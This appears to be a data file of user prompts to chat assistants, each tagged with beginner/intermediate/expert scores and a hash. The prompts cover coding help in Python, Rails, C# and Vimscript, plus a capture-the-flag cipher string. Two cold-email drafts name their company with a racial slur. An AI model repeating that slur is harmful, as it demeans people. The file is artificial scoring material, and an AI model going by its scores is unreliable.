{ "intermediate": 0.32493141293525696, "beginner": 0.3128499984741211, "expert": 0.36221861839294434 }
36,457
write python code which will loop through my google search history to find titles of books searched
b22ec08437b89aa56c3057df54db6770
{ "intermediate": 0.33684462308883667, "beginner": 0.3126133978366852, "expert": 0.35054194927215576 }
36,458
dont see login form when decorate a view with login_required in flask-security
b107e1391ff1d2e109b7a644f0fb8f1e
{ "intermediate": 0.46307799220085144, "beginner": 0.23790350556373596, "expert": 0.2990185618400574 }
36,459
advanced develop a "deep learning" Turkish chat bot using advanced numpy, gensim, nltk and scikit-learn.dont use another library
8553dac486ce9939bad01299468dec33
{ "intermediate": 0.3557601571083069, "beginner": 0.1033894270658493, "expert": 0.5408504009246826 }
36,460
advanced develop a “deep learning” Turkish chat bot using advanced numpy, gensim, nltk and scikit-learn.dont use another library
a73a29da52278b4117b66e57b7c12457
{ "intermediate": 0.2624480724334717, "beginner": 0.08496750146150589, "expert": 0.652584433555603 }
36,461
please create a cnn bidirectional lstm with attention mechanism for time series forecasting. be detailed and avoid oversight.
52c87d6f4a1102c2f95602e0e754bc08
{ "intermediate": 0.18947400152683258, "beginner": 0.11867936700582504, "expert": 0.6918465495109558 }
36,462
in python: Write a function that divides a phrase into word buckets, with each bucket containing n or fewer characters. Only include full words inside each bucket. Examples split_into_buckets("she sells sea shells by the sea", 10) ➞ ["she sells", "sea shells", "by the sea"] split_into_buckets("the mouse jumped over the cheese", 7) ➞ ["the", "mouse", "jumped", "over", "the", "cheese"] split_into_buckets("fairy dust coated the air", 20) ➞ ["fairy dust coated", "the air"] split_into_buckets("a b c d e", 2) ➞ ["a", "b", "c", "d", "e"] Notes Spaces count as one character. Trim beginning and end spaces for each word bucket (see final example). If buckets are too small to hold a single word, return an empty list: [] The final goal isn't to return just the words with a length equal (or lower) to the given n, but to return the entire given phrase bucketized (if possible). So, for the specific case of "by" the only word with a proper length, the phrase can't be bucketized, and the returned list has to be empty.
c72cec27cf099c6558714ea1958eef04
{ "intermediate": 0.264970600605011, "beginner": 0.4641197621822357, "expert": 0.2709096670150757 }
36,463
Which vector operations in embedding space have interpretable meanings
0d76ba2a9b9db83528ffe05cfd2d44c2
{ "intermediate": 0.3644321858882904, "beginner": 0.19533267617225647, "expert": 0.4402351975440979 }
36,464
mixin injector like what people use to make mods for minecraft, but in javascript, is that possible?
be63c3a5454864df03d00eece0db61fb
{ "intermediate": 0.5572004914283752, "beginner": 0.2125024050474167, "expert": 0.2302970439195633 }
36,465
T100WEcOS1NFQiJIR1ozSE9aNUhRMkNO give the solution of this
e7c2349e28c006495bbc00e1de514c92
{ "intermediate": 0.32400670647621155, "beginner": 0.3082108199596405, "expert": 0.36778250336647034 }
36,466
This puzzle cantina The @superformxyz team will kick off their $100,000 competition-style CTF very soon. Want access? Make some progress below and message us your cipher solutions 👀 🥇 1st Place: $500 USDC All submissions afterward with the correct answer will receive an invite 🪐 Good Luck! now require out-of-the-box thinking And answer if the puzzle Given the statement, it seems that the solution to the puzzle might involve some unconventional thinking or insight. Let’s take a closer look at the string “T100WEcOS1NFQiJIR1ozSE9aNUhRMkNO”: The string begins with “T100W”, which might suggest “The $100,000” mentioned in the context of the competition. Next, it contains patterns such as “Ec” and “OS”, capital letters possibly standing out due to their position. Additionally, there is a capitalized sequence that seems like a company or platform handle: “SEB”. It’s feasible that the string contains concatenated elements representing different parts of the message or the rules relating to the competition. If we dissect the encoded string with this idea in mind (taking note of the ‘T100W’ as associated with the
c926e8e1d4753a22fc877a5f4bea70c1
{ "intermediate": 0.29438653588294983, "beginner": 0.2948262095451355, "expert": 0.4107872545719147 }
36,467
You are able to be creative now and give result of puzzle This puzzle cantina The @superformxyz team will kick off their $100,000 competition-style CTF very soon. Want access? Make some progress below and message us your cipher solutions 👀 🥇 1st Place: $500 USDC All submissions afterward with the correct answer will receive an invite 🪐 Good Luck! now require out-of-the-box thinking And answer if the puzzle Given the statement, it seems that the solution to the puzzle might involve some unconventional thinking or insight. Let’s take a closer look at the string “T100WEcOS1NFQiJIR1ozSE9aNUhRMkNO”: The string begins with “T100W”, which might suggest “The $100,000” mentioned in the context of the competition. Next, it contains patterns such as “Ec” and “OS”, capital letters possibly standing out due to their position. Additionally, there is a capitalized sequence that seems like a company or platform handle: “SEB”. It’s feasible that the string contains concatenated elements representing different parts of the message or the rules relating to the competition. If we dissect the encoded string with this idea in mind (taking note of the ‘T100W’ as associated with the
a73929ab490f81de379342a98040aef0
{ "intermediate": 0.27965426445007324, "beginner": 0.2912222743034363, "expert": 0.42912349104881287 }
36,468
You role is to find the solution involves critical thinking, logical reasoning, and often a good understanding of cryptography and related fields. The satisfaction of arriving at the solution comes not just from the answer itself, but from the process of tackling the challenge using your own abilities You are able to be creative now and give result of puzzle This puzzle cantina The @superformxyz team will kick off their $100,000 competition-style CTF very soon. Want access? Make some progress below and message us your cipher solutions 👀 🥇 1st Place: $500 USDC All submissions afterward with the correct answer will receive an invite 🪐 Good Luck! now require out-of-the-box thinking And answer if the puzzle Given the statement, it seems that the solution to the puzzle might involve some unconventional thinking or insight. Let’s take a closer look at the string “T100WEcOS1NFQiJIR1ozSE9aNUhRMkNO”: The string begins with “T100W”, which might suggest “The $100,000” mentioned in the context of the competition. Next, it contains patterns such as “Ec” and “OS”, capital letters possibly standing out due to their position. Additionally, there is a capitalized sequence that seems like a company or platform handle: “SEB”. It’s feasible that the string contains concatenated elements representing different parts of the message or the rules relating to the competition. If we dissect the encoded string with this idea in mind (taking note of the ‘T100W’ as associated and this is the key that need to be decryption T100WEcOS1NFQiJIR1ozSE9aNUhRMkNO
b584731f3417de0bb391bbc80557ba3e
{ "intermediate": 0.27972841262817383, "beginner": 0.33530113101005554, "expert": 0.38497045636177063 }
36,469
Give me a example script for a Unity button in the inspector and when I call that button something happens
1d2a1151c7f8773dc9cb19f321f4af04
{ "intermediate": 0.633023738861084, "beginner": 0.19031301140785217, "expert": 0.17666324973106384 }
36,470
hey what u can do for me .. im a bioinformatics student and now this tuime i hv a challange in my head .. can we talk about that ? can u guide me with updated info ?
881c677cf1db25ddd2fd1e92380738ae
{ "intermediate": 0.3761082887649536, "beginner": 0.268441766500473, "expert": 0.35544997453689575 }
36,471
I want to design a small program in C# to monitor if a net drive is present, if not present, it runs net use command like `net use v: \\server\eng /u:serverusr\test abc123` to mound the net drive. To monitor, it checks the net drive presence once per minute, if fails, then run net use command mentioned above. Give me demo C# code.
790715b02a60be100cee910b27565c60
{ "intermediate": 0.40299227833747864, "beginner": 0.33922383189201355, "expert": 0.2577838599681854 }
36,472
What do you think of this as a cold email? " Hello (Name), Let's cut straight to the chase, your Google Maps listing isn't ranking as high as it could, which means you are missing out on a lot of money. Your listing is placing at 6th, meaning potential customers have to swipe down to even notice your listing, before that they have probably already clicked on a competitors listing and will never know your business even exists. Don't worry though, we can fix that, we can boost your listing up to 1st on search and get a ton more customers to you. You may be asking "How are you gonna do that exactly?", and we'd be happy to explain, we will boost your listing by first updating your listing with new, high quality pictures, tags, contact info, and even a website with a domain. "Will this really pay off?" We can guarantee you that you will have a very noticeable increase in customers, we can make such guaranteed due to having a great track record of successes where we were even able to increase a businesses income 3 times. "How much will this cost?" That's a great question, we can do all of that including the website with only 150$ upfront, and 15$ reoccurring. If you're interested in getting more customers through your door call us at xxxxxxxxxxx. - Niggabyte tech "
ec63ded07a05e5fe0897ae76a917d338
{ "intermediate": 0.4338259696960449, "beginner": 0.2977084815502167, "expert": 0.2684655487537384 }
36,473
why in c#, private const member field can be used in static main function? it doesn't have to be static member field.
518a31be79ebc348583a377b04429b72
{ "intermediate": 0.3953857719898224, "beginner": 0.42025384306907654, "expert": 0.1843602955341339 }
36,474
any glaring flaws? "Subject: Why your business isn't getting customers. Hello (Name), I hope this message finds you well. I’m (name) from Niggabyte Tech because we’ve noticed that (Business Name) has untapped potential for ranking on Google Maps, which is understandable as nobody expects a (business type) to specialize in SEO (Search Engine Optimization). We want to make sure you can increase customers while being able to focus on doing what you love. While your listing is already doing fairly well, we see an opportunity to enhance its ranking further – imagine being the first option potential customers see when they search for (business type). That's where we come in, we specialize in SEO and will guarantee more customers after letting our specialists work their magic. Our strategy involves: - Updating your Google Maps listing with top-quality photos and accurate tags - Developing a great website with a custom domain to strengthen your online footprint. - Great looking, and well preforming Google Ads for a week free of charge. - Updating contact information for your business. We’ve helped businesses just like yours increase their visibility and client base with some noticing up to a threefold increase in revenue. Regarding investment, we offer all this for an upfront cost of $200 and a nominal monthly fee of $20 – a small price for significant revenue. Curious to learn more? Let’s have a chat. You can reach us at (phone number). Looking forward to the possibility of working together to drive more customers to (Business Name). Best regards, [Your Name] [Your Contact Information] Niggabyte Tech"
d41818af5c1052470491a4bd202ff84c
{ "intermediate": 0.26111844182014465, "beginner": 0.2395227551460266, "expert": 0.4993588328361511 }
36,475
require 'time' class Api::V1::SchedulesController < ApplicationController def index departure_station = params[:departure].upcase if params[:departure].present? destination_station = params[:destination].upcase if params[:destination].present? time_param = params[:time] exclude_param = params[:restrict] time = time_param.present? ? Time.parse(time_param) : nil exclude = exclude_param.present? ? exclude_param.downcase == 'true' : false if departure_station.present? && destination_station.present? # all schedules with both dep and dest # if postgres use the below query # schedules = Schedule.joins(:stations) # .where(stations: { name: [departure_station, destination_station] }) # .select('schedules.*') # .group('schedules.id') # .having('COUNT(DISTINCT stations.name) = 2') # .distinct # if sqlite use the below query schedules = Schedule.joins(:stations) .where(stations: { name: [departure_station, destination_station] }) .group('schedules.id') .having('COUNT(DISTINCT stations.name) = 2') .distinct .includes(:stations, route: :bus_schedule) trips = [] schedules.each do |schedule| stations = schedule.stations.order(:id) station_names = stations.map(&:name) # check if dep station comes before dest station using index departure_index = station_names.find_index(departure_station) destination_index = station_names.find_index(destination_station) if departure_index && destination_index && departure_index < destination_index departure_station_data = stations[departure_index] departure_time = Time.parse(departure_station_data.departure_time) # optional time parameter next if time && departure_time < time trip_data = { vehicle_number: schedule.route.bus_schedule.vehicle_number, trip: schedule.trip, stations: stations.map do |station| { station: station.name, arrivalTime: station.arrival_time, departureTime: station.departure_time } end } # Exclude stations before departure and after destination if exclude parameter is true if exclude trip_data[:stations] = trip_data[:stations][departure_index..destination_index] end trips << trip_data end end # sort based on dep time of dep station sorted_trips = trips.sort_by do |trip| time_str = trip[:stations].find { |station| station[:station] == departure_station }[:departureTime] Time.parse(time_str) # 12-h am/pm format end render json: sorted_trips, status: :ok else render json: { error: 'Departure and destination stations are required. ' }, status: :unprocessable_entity end end end i am using this code to fetch schedules based on departure and destination.but i want a modification how do i implement that. if we search for example pala in departure it should also include pala private bus stand , pala bus stand , pala pvt bus stand
a8dbd104613afe9a99e9944a7b01c4f7
{ "intermediate": 0.42116066813468933, "beginner": 0.4562007188796997, "expert": 0.12263862043619156 }
36,476
when i remove pattern and replace like with = its working require 'time' class Api::V1::SchedulesController < ApplicationController def index departure_station = params[:departure].upcase if params[:departure].present? destination_station = params[:destination].upcase if params[:destination].present? time_param = params[:time] exclude_param = params[:restrict] time = time_param.present? ? Time.parse(time_param) : nil exclude = exclude_param.present? ? exclude_param.downcase == 'true' : false departure_station = departure_station + ' %' destination_station = destination_station + ' %' puts departure_station if departure_station.present? && destination_station.present? # all schedules with both dep and dest # if postgres use the below query # schedules = Schedule.joins(:stations) # .where(stations: { name: [departure_station, destination_station] }) # .select('schedules.*') # .group('schedules.id') # .having('COUNT(DISTINCT stations.name) = 2') # .distinct # if sqlite use the below query schedules = Schedule.joins(:stations) .where("stations.name LIKE ? OR stations.name LIKE ?", departure_station, destination_station) .group('schedules.id') .having('COUNT(DISTINCT stations.name) > 2') .distinct .includes(:stations, route: :bus_schedule) trips = [] schedules.each do |schedule| stations = schedule.stations.order(:id) station_names = stations.map(&:name) # check if dep station comes before dest station using index departure_index = station_names.find_index(departure_station) destination_index = station_names.find_index(destination_station) if departure_index && destination_index && departure_index < destination_index departure_station_data = stations[departure_index] departure_time = Time.parse(departure_station_data.departure_time) # optional time parameter next if time && departure_time < time trip_data = { vehicle_number: schedule.route.bus_schedule.vehicle_number, trip: schedule.trip, stations: stations.map do |station| { station: station.name, arrivalTime: station.arrival_time, departureTime: station.departure_time } end } # Exclude stations before departure and after destination if exclude parameter is true if exclude trip_data[:stations] = trip_data[:stations][departure_index..destination_index] end trips << trip_data end end # sort based on dep time of dep station sorted_trips = trips.sort_by do |trip| time_str = trip[:stations].find { |station| station[:station] == departure_station }[:departureTime] Time.parse(time_str) # 12-h am/pm format end render json: sorted_trips, status: :ok else render json: { error: 'Departure and destination stations are required. ' }, status: :unprocessable_entity end end end
50f632af5e06f349bf1bd479f67aae66
{ "intermediate": 0.3648868501186371, "beginner": 0.48892641067504883, "expert": 0.14618675410747528 }
36,477
能否帮我优化以下代码 triplet_edge = self.ref_ids triplet_edge.append(added_id) if edge_scale[triplet_edge[1], triplet_edge[2]] > 0 and edge_scale[triplet_edge[2], triplet_edge[0]] > 0: scale_1 = torch.tensor(edge_scale[triplet_edge[0], triplet_edge[1]], edge_scale[triplet_edge[1], triplet_edge[2]], edge_scale[triplet_edge[2], triplet_edge[0]]) scale_2 = torch.tensor(scale_1[0], scales[0], scale_1[2]) scale_3 = torch.tensor(scale_1[0], scale_1[1], scales[1]) tri_res1 = self.triplet_verify(triplet_edge, scale_1) tri_res2 = self.triplet_verify(triplet_edge, scale_2) tri_res3 = self.triplet_verify(triplet_edge, scale_3) if tri_res1 > tri_res2: edge_scale[self.ref_ids[0], added_id] = scales[0] if tri_res1 < tri_res3: edge_scale[self.ref_ids[1], added_id] = scales[1] elif edge_scale[self.ref_ids[0], added_id] > 0: edge_scale[triplet_edge[2], triplet_edge[0]] = scales[1] scale_1 = torch.tensor(edge_scale[triplet_edge[0], triplet_edge[1]], edge_scale[triplet_edge[1], triplet_edge[2]], edge_scale[triplet_edge[2], triplet_edge[0]]) scale_2 = torch.tensor(scale_1[0], scales[0], scale_1[2]) tri_res1 = self.triplet_verify(triplet_edge, scale_1) tri_res2 = self.triplet_verify(triplet_edge, scale_2) if tri_res1 > tri_res2: edge_scale[self.ref_ids[0], added_id] = scales[0] elif edge_scale[self.ref_ids[1], added_id] > 0: edge_scale[triplet_edge[1], triplet_edge[2]] = scales[0] scale_1 = torch.tensor(edge_scale[triplet_edge[0], triplet_edge[1]], edge_scale[triplet_edge[1], triplet_edge[2]], edge_scale[triplet_edge[2], triplet_edge[0]]) scale_2 = torch.tensor(scale_1[0], scale_1[1], scales[1]) tri_res1 = self.triplet_verify(triplet_edge, scale_1) tri_res2 = self.triplet_verify(triplet_edge, scale_2) if tri_res1 > tri_res2: edge_scale[self.ref_ids[1], added_id] = scales[1] else: edge_scale[triplet_edge[1], triplet_edge[2]] = scales[0] edge_scale[triplet_edge[2], triplet_edge[0]] = scales[1]
bfbffe13d84d86301e52e5d6d25b4f0d
{ "intermediate": 0.2556845247745514, "beginner": 0.6213966608047485, "expert": 0.12291887402534485 }
36,478
require 'time' class Api::V1::SchedulesController < ApplicationController def index departure_station = params[:departure].upcase if params[:departure].present? destination_station = params[:destination].upcase if params[:destination].present? time_param = params[:time] exclude_param = params[:restrict] time = time_param.present? ? Time.parse(time_param) : nil exclude = exclude_param.present? ? exclude_param.downcase == 'true' : false puts departure_station if departure_station.present? && destination_station.present? schedules = Schedule.joins(:stations) .where("stations.name = ? OR stations.name = ?", departure_station, destination_station) .group('schedules.id') .having('COUNT(DISTINCT stations.name) = 2') .distinct .includes(:stations, route: :bus_schedule) trips = [] schedules.each do |schedule| stations = schedule.stations.order(:id) station_names = stations.map(&:name) # check if dep station comes before dest station using index departure_index = station_names.find_index(departure_station) destination_index = station_names.find_index(destination_station) if departure_index && destination_index && departure_index < destination_index departure_station_data = stations[departure_index] departure_time = Time.parse(departure_station_data.departure_time) # optional time parameter next if time && departure_time < time trip_data = { vehicle_number: schedule.route.bus_schedule.vehicle_number, trip: schedule.trip, stations: stations.map do |station| { station: station.name, arrivalTime: station.arrival_time, departureTime: station.departure_time } end } # Exclude stations before departure and after destination if exclude parameter is true if exclude trip_data[:stations] = trip_data[:stations][departure_index..destination_index] end trips << trip_data end end # sort based on dep time of dep station sorted_trips = trips.sort_by do |trip| time_str = trip[:stations].find { |station| station[:station] == departure_station }[:departureTime] Time.parse(time_str) # 12-h am/pm format end render json: sorted_trips, status: :ok else render json: { error: 'Departure and destination stations are required. ' }, status: :unprocessable_entity end end end
8bebc9cf344af59d2a5adecefacd6072
{ "intermediate": 0.41691097617149353, "beginner": 0.3004988431930542, "expert": 0.28259018063545227 }
36,479
require 'time' class Api::V1::SchedulesController < ApplicationController def index departure_station = params[:departure].upcase if params[:departure].present? destination_station = params[:destination].upcase if params[:destination].present? time_param = params[:time] exclude_param = params[:restrict] time = time_param.present? ? Time.parse(time_param) : nil exclude = exclude_param.present? ? exclude_param.downcase == 'true' : false puts departure_station if departure_station.present? && destination_station.present? schedules = Schedule.joins(:stations) .where("stations.name LIKE ? OR stations.name LIKE ? OR stations.name = ? OR stations.name = ?", "#{departure_station} %", "#{destination_station} %", "#{departure_station}", "#{destination_station}") .group('schedules.id') .having('COUNT(DISTINCT stations.name) >= 2') .distinct .includes(:stations, route: :bus_schedule) puts schedules trips = [] schedules.each do |schedule| stations = schedule.stations.order(:id) station_names = stations.map(&:name) puts station_names # check if dep station comes before dest station using index departure_index = station_names.find_index(departure_station) destination_index = station_names.find_index(destination_station) if departure_index && destination_index && departure_index < destination_index departure_station_data = stations[departure_index] departure_time = Time.parse(departure_station_data.departure_time) # optional time parameter next if time && departure_time < time trip_data = { vehicle_number: schedule.route.bus_schedule.vehicle_number, trip: schedule.trip, stations: stations.map do |station| { station: station.name, arrivalTime: station.arrival_time, departureTime: station.departure_time } end } # Exclude stations before departure and after destination if exclude parameter is true if exclude trip_data[:stations] = trip_data[:stations][departure_index..destination_index] end trips << trip_data end end # sort based on dep time of dep station sorted_trips = trips.sort_by do |trip| time_str = trip[:stations].find { |station| station[:station] == departure_station }[:departureTime] Time.parse(time_str) # 12-h am/pm format end render json: sorted_trips, status: :ok else render json: { error: 'Departure and destination stations are required. ' }, status: :unprocessable_entity end end end not priting schedules with pattern
35d2398b93c28dfce3519a7a3fa88d11
{ "intermediate": 0.36472734808921814, "beginner": 0.4063020944595337, "expert": 0.22897058725357056 }
36,480
in c#, how to check current process's user privilege?
beb410fe984c037151f5cc6da89dbb47
{ "intermediate": 0.5937334299087524, "beginner": 0.19133146107196808, "expert": 0.2149350792169571 }
36,481
how to write result of this command "echo "12:23:34" | awk '{print $2}'" to variable in bash
9be5d2ecc2f17bdecb3d136a11b8fe5d
{ "intermediate": 0.13337743282318115, "beginner": 0.7739946842193604, "expert": 0.09262785315513611 }
36,482
eon vs cds .. both same?
108c84f1bbb8e0b7fdc47943bc5bb28f
{ "intermediate": 0.3609093129634857, "beginner": 0.3560875356197357, "expert": 0.2830031216144562 }
36,483
So I have built a client in nuxt and hosting it to netlify, but do I have to somehow manually delete the cookies of the site because right now if I build a new version it still use the old version if you enter the site on a computer/phone that has already been on the page once and to see the new builld I have to enter incognito mode?
1ce5af635813d3790c8cd28e4927a333
{ "intermediate": 0.442109614610672, "beginner": 0.14335352182388306, "expert": 0.41453689336776733 }
36,484
java中,异步执行任务之后,为什么会影响主线程的集合里的元素?@Async @Override public void saveData(List<Map<String, Object>> dataList) { List<Map<String, Object>> res = new ArrayList<>(); res.addAll(dataList); for (Map<String, Object> item : res){ item.remove("channelDataVoList"); } String jsonString = JSONObject.toJSONString(res); HistoryData historyData = new HistoryData(); historyData.setId(IdUtil.fastSimpleUUID()); historyData.setTime(LocalDateTime.now()); historyData.setVal(jsonString); historyDataRepository.insert(historyData); } Map<String,Object> dataMap = channelDataList.get(0);
3e21935589f094148fde1a9c83883bb1
{ "intermediate": 0.43891608715057373, "beginner": 0.3649776577949524, "expert": 0.19610625505447388 }
36,485
optimize this code require 'time' class Api::V1::SchedulesController < ApplicationController def index departure_station = params[:departure].upcase if params[:departure].present? destination_station = params[:destination].upcase if params[:destination].present? time_param = params[:time] exclude_param = params[:restrict] time = time_param.present? ? Time.parse(time_param) : nil exclude = exclude_param.present? ? exclude_param.downcase == 'true' : false puts departure_station if departure_station.present? && destination_station.present? schedules = Schedule.joins(:stations) .where("stations.name LIKE ? OR stations.name LIKE ? OR stations.name = ? OR stations.name = ?", "#{departure_station} %", "#{destination_station} %", "#{departure_station}", "#{destination_station}") .group('schedules.id') .having('COUNT(DISTINCT stations.name) >= 2') .distinct .includes(:stations, route: :bus_schedule) puts schedules trips = [] schedules.each do |schedule| stations = schedule.stations.order(:id) station_names = stations.map(&:name) puts station_names # check if dep station comes before dest station using index departure_index = station_names.index { |name| name =~ /#{departure_station}/i } destination_index = station_names.index { |name| name =~ /#{destination_station}/i } if departure_index && destination_index && departure_index < destination_index departure_station_data = stations[departure_index] departure_time = Time.parse(departure_station_data.departure_time) # optional time parameter next if time && departure_time < time trip_data = { vehicle_number: schedule.route.bus_schedule.vehicle_number, trip: schedule.trip, stations: stations.map do |station| { station: station.name, arrivalTime: station.arrival_time, departureTime: station.departure_time } end } # Exclude stations before departure and after destination if exclude parameter is true if exclude trip_data[:stations] = trip_data[:stations][departure_index..destination_index] end trips << trip_data end end # sort based on dep time of dep station sorted_trips = trips.each do |trip| trip[:stations].sort_by! do |station| if station[:station] =~ /#{departure_station}/i Time.parse(station[:departureTime]) # 12-h am/pm format else Time.new(9999) # If the station name doesn't match the pattern, set a far future time so it's sorted to the end end end end.sort_by do |trip| time_str = trip[:stations].find { |station| station[:station] =~ /#{departure_station}/i }[:departureTime] Time.parse(time_str) # 12-h am/pm format end render json: sorted_trips, status: :ok else render json: { error: 'Departure and destination stations are required. ' }, status: :unprocessable_entity end end end
5110d6436edab60ad7c1aacc93b9c6be
{ "intermediate": 0.3657023310661316, "beginner": 0.32049018144607544, "expert": 0.31380754709243774 }
36,486
in vimscript, sometimes i pass argument using method. the syntax is like "'hello'->PringString()". but my question is using this syntax can i pass multiple arguments?
1ecc5491aff4c161e624bd6f4a89df7e
{ "intermediate": 0.2563881278038025, "beginner": 0.6185421943664551, "expert": 0.125069722533226 }
36,487
next js unstable_noStore的用法
7f62a70d281ea93b1b17b00d270cba0a
{ "intermediate": 0.304938405752182, "beginner": 0.4148825407028198, "expert": 0.2801790237426758 }
36,488
give me a python code to parse the {"user_info": [{''dev_user01": "dev_group01"}, {"dev_user02", "dev_group02"}]} json configuration, and create one directry named of each username in configuration with the access permission of group in configuration
0b3b70c7c00677deb8853342a84f0a0d
{ "intermediate": 0.4904842972755432, "beginner": 0.2513679265975952, "expert": 0.2581477463245392 }
36,489
ERROR: Exception in ASGI application Traceback (most recent call last): File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\anyio\streams\memory.py", line 98, in receive return self.receive_nowait() ^^^^^^^^^^^^^^^^^^^^^ File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\anyio\streams\memory.py", line 93, in receive_nowait raise WouldBlock anyio.WouldBlock During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\starlette\middleware\base.py", line 78, in call_next message = await recv_stream.receive() ^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\anyio\streams\memory.py", line 118, in receive raise EndOfStream anyio.EndOfStream During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\uvicorn\protocols\http\h11_impl.py", line 408, in run_asgi result = await app( # type: ignore[func-returns-value] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\uvicorn\middleware\proxy_headers.py", line 84, in __call__ return await self.app(scope, receive, send) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\fastapi\applications.py", line 292, in __call__ await super().__call__(scope, receive, send) File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\starlette\applications.py", line 122, in __call__ await self.middleware_stack(scope, receive, send) File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\starlette\middleware\errors.py", line 184, in __call__ raise exc File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\starlette\middleware\errors.py", line 162, in __call__ await self.app(scope, receive, _send) File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\starlette\middleware\base.py", line 108, in __call__ response = await self.dispatch_func(request, call_next) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "c:\Users\AME\Documents\PriceChecker-master\discogs-master\dist\vinyl-price-suggester-main\VinylPrices\tuner\Jobb_server_server\server.py", line 102, in add_process_time_header response = await call_next(request) ^^^^^^^^^^^^^^^^^^^^^^^^ File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\starlette\middleware\base.py", line 84, in call_next raise app_exc File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\starlette\middleware\base.py", line 70, in coro await self.app(scope, receive_or_disconnect, send_no_error) File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\starlette\middleware\cors.py", line 91, in __call__ await self.simple_response(scope, receive, send, request_headers=headers) File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\starlette\middleware\cors.py", line 146, in simple_response await self.app(scope, receive, send) File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\starlette\middleware\exceptions.py", line 79, in __call__ raise exc File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\starlette\middleware\exceptions.py", line 68, in __call__ await self.app(scope, receive, sender) File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\fastapi\middleware\asyncexitstack.py", line 20, in __call__ raise e File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\fastapi\middleware\asyncexitstack.py", line 17, in __call__ await self.app(scope, receive, send) File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\starlette\routing.py", line 718, in __call__ await route.handle(scope, receive, send) File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\starlette\routing.py", line 276, in handle await self.app(scope, receive, send) File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\starlette\routing.py", line 66, in app response = await func(request) ^^^^^^^^^^^^^^^^^^^ File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\fastapi\routing.py", line 273, in app raw_response = await run_endpoint_function( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\fastapi\routing.py", line 190, in run_endpoint_function return await dependant.call(**values) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "c:\Users\AME\Documents\PriceChecker-master\discogs-master\dist\vinyl-price-suggester-main\VinylPrices\tuner\Jobb_server_server\server.py", line 843, in predict json_data = json.loads(obj) ^^^^^^^^^^^^^^^json_objects = responded.text.split("▲") json_objects = json_objects[0].split("\x1e") print(json_objects) texts = [] for obj in json_objects: if obj: # Parse the JSON string json_data = json.loads(obj) print(json_data) if "arguments" in json_data and "messages" in json_data["arguments"][0]: for message in json_data["arguments"][0]["messages"]: texts = message["text"] # Look for adaptiveCards in the message if "adaptiveCards" in message: for adaptiveCard in message["adaptiveCards"]: # Continue only if 'body' is in the adaptiveCard if "body" in adaptiveCard: # Now extract texts with URLs where type is 'TextBlock' for item in adaptiveCard["body"]: if item["type"] == "TextBlock" and "text" in item: # Split text by whitespace and search for URLs urls = item["text"] # texts should now contain all extracted text field File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\json\__init__.py", line 346, in loads return _default_decoder.decode(s) ^^^^^^^^^^^^^^^^^^^^^^^^^^ File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\json\decoder.py", line 337, in decode obj, end = self.raw_decode(s, idx=_w(s, 0).end()) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\json\decoder.py", line 353, in raw_decode obj, end = self.scan_once(s, idx) ^^^^^^^^^^^^^^^^^^^^^^ json.decoder.JSONDecodeError: Unterminated string starting at: line 1 column 63 (char 62)
769649af67d41a913ee32a926ee4b32c
{ "intermediate": 0.500637412071228, "beginner": 0.2537449598312378, "expert": 0.24561753869056702 }
36,490
I will like to add the following functionality to the code below. Public Sub CheckNewMonth() Dim currentDate As Date Dim nextMonthDate As Date currentDate = Date 14 to 8 days before the end of the current month, clear the contents of D22. If D22 value is not empty then exit the sub nextMonthDate = DateSerial(Year(currentDate), Month(currentDate) + 1, 1) If nextMonthDate - currentDate <= 3 Then MsgBox "Please Back Up archived Sheets NOW!", vbInformation, "BACKUP SHEETS" Else If nextMonthDate - currentDate <= 7 Then MsgBox "You will have to Back Up archived Sheets soon", vbInformation, "BACKUP SHEETS" End If End If End Sub
04ed1270e3bf7309b00dded7554d6cf6
{ "intermediate": 0.316224068403244, "beginner": 0.428520143032074, "expert": 0.2552557587623596 }
36,491
Hey
dbf3f653dfd5f17c48bcff9e7eb1ef7e
{ "intermediate": 0.3360580503940582, "beginner": 0.274208664894104, "expert": 0.38973328471183777 }
36,492
You are able to decrcipher now Make some progress below and give cipher solution of this T100WEcOS1NFQiJIR1ozSE9aNUhRMkNO
4c3c7b034a34d98009d921675e63bd40
{ "intermediate": 0.3802538216114044, "beginner": 0.3059447109699249, "expert": 0.31380143761634827 }
